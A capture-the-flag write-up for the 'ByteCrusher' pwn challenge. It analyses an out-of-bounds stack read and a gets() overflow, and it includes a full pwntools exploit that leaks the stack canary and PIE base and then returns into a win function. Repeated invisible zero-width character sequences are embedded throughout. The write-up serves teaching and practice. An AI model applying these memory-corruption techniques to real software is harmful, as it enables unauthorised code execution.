← Back to Writeups
CUSTOMMediumpwn

ByteCrusher

XESXOR9/2/20266 min read
#pwn#custom#medium#byte_by_byte_stack_leak_via_oo#canary_leak_via_crush_rate#gets_stack_overflow#pie_leak_via_return_address#ret2win#linux

ByteCrusher

Platform: dicectf_2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-07 | Status: Solved Techniques: byte_by_byte_stack_leak_via_oob_read, canary_leak_via_crush_rate, gets_stack_overflow, pie_leak_via_return_address, ret2win

Summary

Task: PIE binary with 16 trial calls to crush function and gets() in feedback. Solution: Use controlled rate parameter for OOB read to leak canary and PIE base byte-by-byte, then stack overflow via gets() for ret2win to admin_portal().

ByteCrusher — DiceCTF 2026 Quals

Description

Dice's new proprietary text crusher is here! Try it out for free with our sixteen free trials of the premium service!

ELF 64-bit x86-64 PIE binary with source code. The program offers 16 "trial" calls to the "crush" function (skipping characters with a given step), then asks for "feedback". Contains a win function admin_portal() that reads flag.txt, but it's only called when COMPILE_ADMIN_MODE=1 (compiled with 0).

Remote: nc bytecrusher.chals.dicec.tf 1337 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Files: bytecrusher (ELF binary), bytecrusher.c (source), Dockerfile, build.sh.

Protections

ProtectionStatus
RELROFull
Stack CanaryEnabled
NXEnabled
PIEEnabled
SHSTKEnabled
IBTEnabled

Analysis

Key Functions

admin_portal() (offset 0x12a9) — win function

Opens flag.txt and prints its contents. Not called in normal execution flow (COMPILE_ADMIN_MODE=0).

crush_string(input, output, rate, output_max_len)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Copies characters from input to output with step rate:

c
for (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) {
    output[out_idx++] = input[i];
}

Vulnerability: with a large rate, the index i jumps far beyond input_buf, reading arbitrary bytes from the stack. The stop condition is input[i] == '\0', but null bytes don't occur at every position on the stack.

free_trial() (offset 0x13bb)

16 loop iterations. Each iteration:

  1. fgets(input_buf, 32, stdin) — safe read
  2. scanf("%d", &rate) — user-controlled rate (check rate < 1)
  3. scanf("%d", &output_len) — user-controlled output_len (check output_len > sizeof(crushed))
  4. crush_string(input_buf, crushed, rate, output_len) — call with controlled parameters
  5. puts(crushed) — output the result ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

get_feedback() (offset 0x151f)

c
char buf[16];
gets(buf);  // classic buffer overflow

Vulnerability: gets() without length limit on a 16-byte buffer.

Stack Layout of free_trial()

rbp-0x60: rate (int)
rbp-0x5c: output_len (int)
rbp-0x58: i (loop counter)
rbp-0x54: c (getchar result)
rbp-0x50: input_buf[32]      ← fgets destination
rbp-0x30: crushed[32]        ← crush_string output
rbp-0x10: padding (8 bytes)
rbp-0x08: stack canary
rbp+0x00: saved rbp
rbp+0x08: return address      ← points to main+0x6c = 0x15ec

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Offsets from input_buf:

  • Stack canary: offset 72 (0x48)
  • Return address: offset 88 (0x58)

Stack Layout of get_feedback()

rbp-0x20: buf[16]
rbp-0x08: stack canary
rbp+0x00: saved rbp
rbp+0x08: return address
  • From buf to canary: 24 bytes

Vulnerabilities

1. Out-of-Bounds Read via crush_string

The crush_string function uses rate as an indexing step for input. With rate=73 and output_len=3:

  • output[0] = input[0] — marker byte (known)
  • output[1] = input[73] — stack byte at offset 73 from input_buf ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This allows reading arbitrary stack bytes one at a time per iteration. The condition input[i] != '\0' means that if the target byte equals 0x00, puts() will output only the marker (1 character instead of 2) — this is detectable.

2. Stack Buffer Overflow via gets()

Classic vulnerability: gets(buf) on a 16-byte buffer allows overwriting the canary, saved rbp, and return address.

Solution

Strategy

┌─────────────────────────────────────────────────────┐
│                   EXPLOIT FLOW                       │
├─────────────────────────────────────────────────────┤
│                                                      │
│  Trials 1-7: Leak Stack Canary                       │
│  ├─ Canary byte 0 = 0x00 (always on Linux x86-64)   │
│  ├─ rate=73..79 → leak canary bytes 1..7             │
│  └─ Null detection: len(puts output) == 1            │
│                                                      │
│  Trials 8-15: Leak Return Address (PIE)              │
│  ├─ rate=88..95 → leak ret addr bytes 0..7           │
│  ├─ ret_addr = PIE_base + 0x15ec                     │
│  └─ PIE_base = ret_addr - 0x15ec                     │
│                                                      │
│  Trial 16: Dummy (unused)                            │
│                                                      │
│  get_feedback(): Stack Overflow → ret2win             │
│  ├─ Payload: 'A'*24 + canary + fake_rbp + admin()   │
│  └─ admin_portal() reads flag.txt                    │
│                                                      │
└─────────────────────────────────────────────────────┘

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 1: Leaking Stack Canary (Trials 1-7)

On Linux x86-64, the least significant byte of the canary is always 0x00. The canary starts at offset 72 from input_buf. We leak bytes 1-7 (offsets 73-79):

python
canary = b'\x00'
for i in range(1, 8):
    byte_val = leak_byte(io, 72 + i)  # rate = 73..79
    canary += bytes([byte_val])

The leak_byte function sends marker 'X' as input, rate=offset, output_len=3. If puts outputs 1 character — the target byte is 0x00, if 2 — the second character is the leaked byte. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 2: Leaking Return Address / PIE Base (Trials 8-15)

The return address is at offset 88 from input_buf. We leak all 8 bytes:

python
ret_addr = b''
for i in range(8):
    byte_val = leak_byte(io, 88 + i)  # rate = 88..95
    ret_addr += bytes([byte_val])

pie_base = u64(ret_addr) - 0x15ec
admin_portal = pie_base + 0x12a9

Stage 3: Buffer Overflow in get_feedback() → ret2win

After 16 trials, get_feedback() is called with gets(). We overwrite:

python
payload  = b'A' * 24           # padding (buf[16] + 8 bytes to canary)
payload += p64(canary_val)     # restore canary
payload += p64(0)              # saved rbp (doesn't matter)
payload += p64(admin_portal)   # return → admin_portal()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

admin_portal() opens flag.txt and prints the flag.

Full Exploit

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

ADMIN_PORTAL_OFF = 0x12a9
FREE_TRIAL_RET_OFF = 0x15ec

def do_trial(io, input_str, rate, output_len):
    io.recvuntil(b'Enter a string to crush:\n')
    io.sendline(input_str)
    io.recvuntil(b'Enter crush rate:\n')
    io.sendline(str(rate).encode())
    io.recvuntil(b'Enter output length:\n')
    io.sendline(str(output_len).encode())
    io.recvuntil(b'Crushed string:\n')
    result = io.recvline()
    return result[:-1]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def leak_byte(io, offset):
    marker = b'X'
    result = do_trial(io, marker, offset, 3)
    if len(result) == 1:
        return 0x00
    elif len(result) >= 2:
        return result[1]
    else:
        return 0x00

def exploit():
    io = remote('bytecrusher.chals.dicec.tf', 1337)
    io.recvuntil(b"We are happy to offer sixteen free trials of our premium service.\n")

    # Trials 1-7: Leak canary bytes 1-7
    canary = b'\x00'
    for i in range(1, 8):
        byte_val = leak_byte(io, 72 + i)
        canary += bytes([byte_val])
    canary_val = u64(canary)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Trials 8-15: Leak return address bytes 0-7
    ret_addr = b''
    for i in range(8):
        byte_val = leak_byte(io, 88 + i)
        ret_addr += bytes([byte_val])
    ret_addr_val = u64(ret_addr)

    # Calculate addresses
    pie_base = ret_addr_val - FREE_TRIAL_RET_OFF
    admin_portal = pie_base + ADMIN_PORTAL_OFF

    # Trial 16: dummy
    do_trial(io, b'done', 1, 5)

    # get_feedback() overflow → ret2win
    io.recvuntil(b'Enter some text:\n')
    payload = b'A' * 24 + p64(canary_val) + p64(0) + p64(admin_portal)
    io.sendline(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    io.interactive()

exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍